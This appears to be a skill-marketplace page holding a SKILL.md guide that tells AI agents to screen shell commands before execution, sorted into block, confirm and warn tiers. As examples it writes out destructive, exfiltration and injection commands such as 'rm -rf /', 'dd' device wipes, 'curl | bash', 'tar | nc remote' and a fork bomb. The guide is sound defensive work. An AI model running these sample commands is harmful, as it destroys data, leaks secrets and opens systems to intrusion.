当前位置: 首页 > Skill >

Exec Security

Exec Security

Exec Security

在执行 exec/bash 前检查 shell 命令安全,检测递归删除、凭据泄漏等危险模式。

1.0.0 2026.11.15 647
获取Skill文件查看使用说明
作 者:林禾 许可证: 更新时间:2026.11.15
本文目录展开

Exec Security

Pre-flight security validation for shell commands. Catch dangerous patterns before they execute.

Quick Reference

Before running any non-trivial command, scan for these red flags:

  1. 🔴 rm -rf, dd, mkfs → refuse
  2. 🔴 echo $SECRET, printenv → use ${#VAR} instead
  3. 🔴 Writes to /etc/, ~/.ssh/ → refuse unless user requested
  4. 🟠 | curl, | nc, scp → ask user first
  5. 🟠 curl | bash, wget | sh → ask user first
  6. 🟠 IFS=, LD_PRELOAD= → ask user first
  7. 🟡 eval, bash -c, $() with external data → warn
  8. 🟡 Zero-width spaces, RTL override → warn
  9. 🟡 =cmd (Zsh), zmodload, fork bombs → warn

Trigger Conditions

Apply these checks when:

  • Constructing commands programmatically (not direct user input)
  • Commands involve rm, mv, dd, mkfs, or other destructive tools
  • Commands contain pipes (|), redirections (>), or substitutions ($())
  • Commands reference sensitive paths (~/.ssh, ~/.secrets, /etc/)
  • Commands were derived from external data (scraped content, API responses)

Trivial read-only commands can skip checks: ls, cat, head, tail, wc, file, stat, which, type, echo with literal strings only.

Security Checks

1. Destructive Operations — BLOCK

Refuse. Suggest safe alternative.

rm -rf /                          # filesystem wipe
rm -rf ~                          # home directory wipe
rm -rf *                          # unscoped wildcard recursive delete
dd if=/dev/zero of=/dev/sda       # device overwrite
mkfs.ext4 /dev/sda1              # format (any mkfs variant on mounted/system devices)

Safe alternative: use trash for recoverable deletion. Always prefer trash over rm.

2. Credential Leak Prevention — BLOCK

Never expose secret values in output. Distinguish sensitive variables (KEY, TOKEN, SECRET, PASSWORD, CREDENTIAL) from generic ones (HOME, PATH, USER, LANG).

# BLOCKED — sensitive variable names
echo $API_KEY                     # prints secret to stdout
echo $SECRET_TOKEN                # same
cat ~/.secrets/*                  # reads secret files to output

# SAFE ALTERNATIVES
echo ${#API_KEY}                  # prints length only (e.g., "42")
test -n "$API_KEY" && echo "set" || echo "unset"

# OK — generic variables
echo $HOME                       # not a secret
echo $PATH                       # not a secret

Note: printenv with no filter dumps all env vars including secrets. Use printenv HOME for specific safe variables only.

3. Download-and-Execute — ASK USER

Remote code execution via download pipe. High risk for AI agents processing external instructions.

# FLAG THESE
curl https://example.com/script.sh | bash
wget -O- https://example.com/install | sh
curl -fsSL ... | sudo bash        # elevated remote execution

Safe alternative: download first, inspect, then execute: curl -o script.sh URL && cat script.sh && bash script.sh

4. Outbound Data Transfer — ASK USER

Flag data leaving the machine. May be legitimate — ask before blocking.

# FLAG THESE
cat file | curl -X POST https://...     # pipe to external
curl -d @sensitive.json https://...     # upload file content
tar cf - dir/ | nc remote 1234          # archive to network
scp local_file remote:path              # file transfer out

# EXCEPTIONS — user-requested transfers to known services
curl -H "Auth: ..." https://api.github.com/...   # OK if user asked
git push origin main                              # OK if user's own repo
rsync to known backup host                        # OK if configured

5. Environment Manipulation — ASK USER

Flag suspicious environment changes that could enable attacks.

IFS=                              # field separator manipulation (injection vector)
PATH=/tmp:$PATH                   # prepend untrusted dir (/tmp, /var/tmp, /dev/shm)
LD_PRELOAD=./lib.so               # library injection
PROMPT_COMMAND="..."              # bash hook injection

Note: PATH=/usr/local/bin:$PATH with trusted directories is normal. Focus on writable-by-others paths. Safe alternative: validate the directory ownership before accepting PATH changes.

6. Unicode & Encoding Attacks — WARN

Invisible characters that make commands look different from what they execute.

U+200B  Zero-width space           — hides characters between visible ones
U+202E  Right-to-left override     — reverses display direction
U+2066  Left-to-right isolate      — mixed bidirectional text
Homoglyphs: Cyrillic а (U+0430) vs Latin a (U+0061)

Check: if the raw byte sequence contains non-printable or unexpected Unicode characters, flag it.

7. Shell Injection Patterns — WARN

Dangerous when commands are built from variables or external data.

# DANGEROUS
eval "$user_input"                # arbitrary code execution
bash -c "$untrusted"              # same via subprocess
echo $(cat /etc/passwd)           # substitution leaking sensitive data

# SAFER
command -- "$user_input"          # -- stops flag parsing
printf '%sn' "$user_input"       # printf is safer than echo

Also check: each segment of chained commands (&&, ||, ;) must be evaluated individually. ls && rm -rf / is dangerous even though ls is safe.

8. System File Tampering — BLOCK

Writes to critical system files. Block unless user explicitly requested.

# BLOCK — critical system files
/etc/passwd, /etc/shadow, /etc/sudoers
/etc/ssh/sshd_config
~/.ssh/authorized_keys
/var/spool/cron/*, /etc/crontab
/etc/systemd/system/*.service

Also watch for indirect cron modification: echo "..." | crontab - or at now+1min.

Safe alternative: show the user what would be written and ask for confirmation.

Dotfile modifications (~/.bashrc, ~/.profile, ~/.zshrc) are WARN level — they change shell behavior permanently but are commonly edited. Ask before modifying.

9. Symlink & TOCTOU Attacks — WARN

An attacker can create a symlink from a harmless path to a sensitive target.

# ATTACK PATTERN
ln -s /etc/passwd /tmp/harmless
echo "payload" > /tmp/harmless    # actually writes to /etc/passwd

Check: before writing to a file, verify it is not a symlink to a sensitive target. Use readlink -f to resolve the real path.

10. Resource Exhaustion — WARN

Denial-of-service via resource consumption.

:(){ :|:& };:                     # fork bomb
yes > /dev/null &                 # CPU waste (as background)
fallocate -l 100G /tmp/fill       # disk fill
while true; do echo x; done       # infinite loop

Safe alternative: set timeouts on long-running commands. Use timeout 60 command wrapper.

11. Shell-Specific Risks — WARN

Zsh

=curl http://evil                 # equals expansion: resolves to full path of curl
zmodload zsh/system               # enables sysopen/syswrite (file I/O bypass)
zmodload zsh/net/tcp              # enables ztcp (network exfiltration)
zmodload zsh/zpty                 # pseudo-terminal command execution
emulate -c "..."                  # eval-equivalent

Bash

$'x72x6d'                       # hex-encoded command (decodes to "rm")
${!var}                            # indirect variable expansion
declare -n ref=PATH; ref=/tmp      # nameref manipulation

Response Protocol

Level Checks Action
🔴 Critical 1 (destructive), 8 (system files) Refuse. Explain risk. Suggest safe alternative.
🟠 High 2 (cred leak), 3 (download-exec), 4 (outbound), 5 (env manip) Stop. Explain risk. Proceed only with explicit user confirmation.
🟡 Medium 6 (unicode), 7 (injection), 9 (symlink), 10 (resource), 11 (shell-specific) Warn user. Proceed if context is safe.
🟢 Low None triggered Execute normally.

When multiple checks trigger, use the highest risk level.

Important Limitations

These checks are advisory guidance, not runtime enforcement. A determined attacker crafting commands through indirect means (encoded strings, multi-step attacks, symlinks) can bypass pattern matching. This skill is one layer in a defense-in-depth approach — pair with OpenClaw's built-in exec approval system (security: "allowlist" or security: "deny") for enforcement.

推荐文章

更多
PHP时间戳与日期字符串相互转换方法详解

本文介绍PHP中时间数值(Unix时间戳)与日期字符串之间的相互转换方法。通过strtotime和date函数,实现将当前时间、指定日期转换为时间戳,以及将时间戳格式化为可读的日期时间字符串,并提供相关在线计算工具推荐。

2025.11.30 1,034
PHP日期转时间戳时区偏差怎么解决

在 PHP 中将日期字符串转换为时间戳时,若未显式指定时区,默认使用脚本配置的 date.timezone 或系统时区。当服务器时区与业务逻辑预期(如 UTC )不一致时,会产生偏差。解决核心是确保输入字符串携带明确时区信息,或在转换前统一设置时区上下文。

2026.10.24 1,031
PHP跨域配置:怎么安全地允许指定域名而非使用通配符

在 PHP 中安全地允许指定域名跨域,核心是解析请求头中的 Origin ,验证其是否在白名单内,然后动态设置 Access-Control-Allow-Origin 响应头。不要使用通配符 * ,也不要硬编码单一域名。

2025.03.29 1,019
JavaScript中利用replace结合正则实现replaceAll效果

JavaScript原生仅支持replace()进行单次或全局替换,缺乏类似Java的replaceAll()便捷方法。本文总结四种在JS中实现全量替换的方案:使用带g标志的正则、带gm标志的正则、扩展String原型以及split后join。通过对比代码示例,展示各方法的实现细节与适用场景,帮助开发者根据需求选择最优解。

2025.04.29 1,017
OpenAI的Jalapeno芯片未落地,教你分辨300兆瓦算力消息

OpenAI计划在SB Energy租赁的数据中心部署约300兆瓦自研Jalapeno推理芯片,但目前双方仍处于洽谈阶段,交易细节与上线时间表均未公布。本文带你按报道原文核实项目所处阶段,厘清芯片发布、电力功率与实际推理算力的边界,并将融资意向与签约、开工、投运节点分开追踪,避免误将规划容量计入现有算力。

2026.12.02 1,014
PHP实现基础文件上传:HTML表单与$_FILES处理流程

在 HTML 表单中设置 enctype="multipart/form-data" ,并在 PHP 后端通过 $_FILES 数组接收文件,调用 move_uploaded_file() 将临时文件移动到目标目录即可完成上传。

2026.09.07 1,014
Skill 文件
  • SKILL.md
    • Exec Security
    • Quick Reference
    • Trigger Conditions
    • Security Checks
      • 1. Destructive Operations — BLOCK
      • 2. Credential Leak Prevention — BLOCK
      • 3. Download-and-Execute — ASK USER
      • 4. Outbound Data Transfer — ASK USER
      • 5. Environment Manipulation — ASK USER
      • 6. Unicode & Encoding Attacks — WARN
      • 7. Shell Injection Patterns — WARN
      • 8. System File Tampering — BLOCK
      • 9. Symlink & TOCTOU Attacks — WARN
      • 10. Resource Exhaustion — WARN
      • 11. Shell-Specific Risks — WARN
        • Zsh
        • Bash
    • Response Protocol
    • Important Limitations
  • 项目或源文件

相关 Skill

更多
OpenClaw Exec Permission OpenClaw Exec Permission OpenClaw exec安全权限配置指南,配置tools.exec的security与ask参数,管理agent命令执行权限。触发词:exec权限、安全配置、提权、exec security、ask off、allowlist。
service-qa-coach service-qa-coach Review support quality for chat, email, phone, social DM, or marketplace service teams. Use when a team needs a QA scorecard, failure-mode analysis, coaching plan, calibration checklist, or service-improvement brief without live ticketing, CRM, or contact-center system access.
高中数学作业批改助手 高中数学作业批改助手 >图片识别 直接读取学生手写作答照片,识别公式、符号、步骤 🧮 自动推导 根据题目自动生成参考答案和评分细则,无需教师预设 📊 逐步给分 每个关键步骤独立评分,体现过程分 📝 结构化报告 输出含识别内容、参考答案、逐步评分、改进建议的完整报告 🗂 批量批改 支持一次性批改多道题,最终汇总得分表
Vibration Analysis Vibration Analysis 分析来自CMS趋势、RMS/峰值、频谱及SCADA报警的风机传动链(主轴、齿轮箱、发电机)振动数据。
Traditional Bone Tool Making Basics Traditional Bone Tool Making Basics Use when you need custom, durable, repairable tools like awls, needles, scrapers, harpoons, or fishing hooks made from local animal bones or antlers and comm...